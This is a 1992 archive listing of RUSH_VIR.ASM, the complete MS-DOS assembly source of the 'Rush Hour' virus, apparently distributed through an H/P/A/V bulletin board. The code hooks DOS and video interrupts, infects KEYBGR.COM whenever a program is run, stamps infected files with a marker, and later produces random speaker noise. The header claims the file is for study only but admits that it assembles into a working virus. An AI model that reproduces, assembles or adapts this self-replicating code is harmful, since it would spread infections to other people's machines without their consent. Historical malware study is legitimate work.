home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / RUSH_VIR.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  9KB  |  243 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. page  72,132
  25.                 title   Virus"RUSH HOUR"        (c) Hanx ,1992
  26.                 name    VIRUS
  27.  
  28. abso            segment at 0
  29.                 org     4*10h
  30. video_int       dw      2 dup (?)
  31.                 org     4*21h
  32. dos_int         dw      2 dup (?)
  33.                 org     4*24h
  34. error_int       dw      2 dup (?)
  35. abso            ends
  36.  
  37. code            segment
  38.                 assume  cs:code, ds:code, es:code
  39.  
  40.                 org     05ch
  41. fcb             label   byte
  42. drive           db      ?
  43. fspec           db      11 dup (' ')
  44.                 org     6ch
  45. fsize           dw      2 dup (?)
  46. fdate           dw      ?
  47. ftime           dw      ?
  48.                 org     80h
  49. dta             dw      128 dup (?)
  50.  
  51.                 org     071eh
  52.                 xor     ax,ax
  53.                 mov     es,ax
  54.                 assume  es:abso
  55.                 push    cs
  56.                 pop     ds
  57.                 mov     ax,video_int
  58.                 mov     bx,video_int+2
  59.                 mov     word ptr video_vector,ax
  60.                 mov     word ptr video_vector+2,bx
  61.                 mov     ax,dos_int
  62.                 mov     bx,dos_int+2
  63.                 mov     word ptr dos_vector,ax
  64.                 mov     word ptr dos_vector+2,bx
  65.                 cli
  66.                 mov     dos_int,offset virus
  67.                 mov     dos_int+2,cs
  68.                 mov     video_int,offset disease
  69.                 mov     video_int+2,cs
  70.                 sti
  71.                 mov     ah,0
  72.                 int     1ah
  73.                 mov     time_0,dx
  74.                 lea     dx,virus_einde
  75.                 int     27h
  76. video_vector    dd      (?)
  77. dos_vector      dd      (?)
  78. error_vector    dw      2 dup (?)
  79. time_0          dw      ?
  80.  
  81. rndval          db      'bfhg'
  82. active          db      0
  83. preset          db      0
  84.                 db      'A:'
  85. fname           db      'KEYBGR  COM'
  86.                 db      0
  87.  
  88. virus           proc    far
  89.                 assume  cs:code, ds:nothing, es:nothing
  90.                 push    ax
  91.                 push    cx
  92.                 push    dx
  93.                 mov     ah,0
  94.                 INT     1AH
  95.                 SUB     DX,TIME_0
  96.                 CMP     DX,16384
  97.                 JL      $3
  98.                 MOV     ACTIVE,1
  99. $3:             pop     dx
  100.                 pop     cx
  101.                 pop     ax
  102.                 cmp     ax,4b00h
  103.                 je      $1
  104. exit_1:         jmp     dos_vector
  105. $1:             push    es
  106.                 push    bx
  107.                 push    ds
  108.                 push    dx
  109.                 mov     di,dx
  110.                 mov     drive,0
  111.                 mov     al,ds:[di+1]
  112.                 cmp     al,':'
  113.                 jne     $5
  114.                 mov     al,ds:[di]
  115.                 sub     al,'A'-1
  116.                 mov     drive,al
  117. $5:             cld
  118.                 push    cs
  119.                 pop     ds
  120.                 xor     ax,ax
  121.                 mov     es,ax
  122.  
  123.                 assume  ds:code, es:abso
  124.  
  125.                 mov     ax,error_int
  126.                 mov     bx,error_int+2
  127.                 mov     error_vector,ax
  128.                 mov     error_vector+2,bx
  129.                 mov     error_int,offset error
  130.                 mov     error_int+2,cs
  131.                 push    cs
  132.                 pop     es
  133.  
  134.                 assume  es:code
  135.  
  136.                 lea     dx,dta
  137.                 mov     ah,1ah
  138.                 int     21h
  139.                 mov     bx,11
  140. $2:             mov     al,fname-1[bx]
  141.                 mov     fspec-1[bx],al
  142.                 dec     bx
  143.                 jnz     $2
  144.                 lea     dx,fcb
  145.                 mov     ah,0fh
  146.                 int     21h
  147.                 cmp     al,0
  148.                 jne     exit_0
  149.                 mov     byte ptr fcb+20h,0
  150.                 mov     ax,ftime
  151.                 cmp     ax,4800h
  152.                 je      exit_0
  153.                 mov     preset,1
  154.                 mov     si,100h
  155. $4:             lea     di,dta
  156.                 mov     cx,128
  157.                 rep     movsb
  158.                 lea     dx,fcb
  159.                 mov     ah,15h
  160.                 int     21h
  161.                 cmp     si,offset virus_einde
  162.                 jl      $4
  163.                 mov     fsize,offset virus_einde -100h
  164.                 mov     fsize+2,0
  165.                 mov     fdate,0AA3h
  166.                 mov     ftime,4800h
  167.                 lea     dx,fcb
  168.                 mov     ah,10h
  169.                 int     21h
  170.                 xor     ax,ax
  171.                 mov     es,ax
  172.                 assume  es:abso
  173.                 mov     ax,error_vector
  174.                 mov     bx,error_vector+2
  175.                 mov     error_int,ax
  176.                 mov     error_int+2,bx
  177.  
  178. exit_0:         pop     dx
  179.                 pop     ds
  180.                 pop     bx
  181.                 pop     es
  182.                 assume  ds:nothing, es:nothing
  183.                 mov     ax,4b00h
  184.                 jmp     dos_vector
  185. virus   endp
  186. error   proc    far
  187.                 iret
  188. error   endp
  189. disease proc    far
  190.                 assume ds:nothing, es:nothing
  191.                 push    ax
  192.                 push    cx
  193.                 test    preset,1
  194.                 jz      exit_2
  195.                 test    active,1
  196.                 jz      exit_2
  197.                 in      al,61h
  198.                 and     al,0feh
  199.                 out     61h,al
  200.                 mov     cx,3
  201. noise:          mov     al,rndval
  202.                 xor     al,rndval+3
  203.                 shl     al,1
  204.                 shl     al,1
  205.                 rcl     word ptr rndval,1
  206.                 rcl     word ptr rndval+2,1
  207.                 mov     ah,rndval
  208.                 and     ah,2
  209.                 in      al,61h
  210.                 and     al,0fdh
  211.                 or      al,ah
  212.                 out     61h,al
  213.                 loop    noise
  214.                 and     al,0fch
  215.                 or      al,1
  216.                 out     61h,al
  217. exit_2:         pop     cx
  218.                 pop     ax
  219.                 jmp     video_vector
  220. disease         endp
  221.  
  222.                 db      'Dit is een demonstratie van een zogenaamd computervirus.'
  223.                 db      'Het heeft volledige controle over alle systeem-componenten'
  224.                 db      'en alle harde schijven en in de drive(s) ingevoerde'
  225.                 db      'diskettes. Het programma kopieert zichzelf naar andere,'
  226.                 db      'nog niet besmette besturingssystemen en verspreidt zich op'
  227.                 db      'die manier ongecontroleerd. In dit geval zijn er geen'
  228.                 db      'programma`s beschadigd of schijven gewist, omdat dit'
  229.                 db      'slechts een demonstratie is. Een kwaadaardig virus'
  230.                 db      'had echter wel degelijk schade aan kunnen richten.'
  231.  
  232.                 org     1c2ah
  233. virus_einde     label   byte
  234. code    ends
  235. end
  236.  
  237. 
  238. ;─────────────────────────────────────────────────────────────────────────;
  239. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  240. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  241. ;─────────────────────────────────────────────────────────────────────────;
  242.  
  243.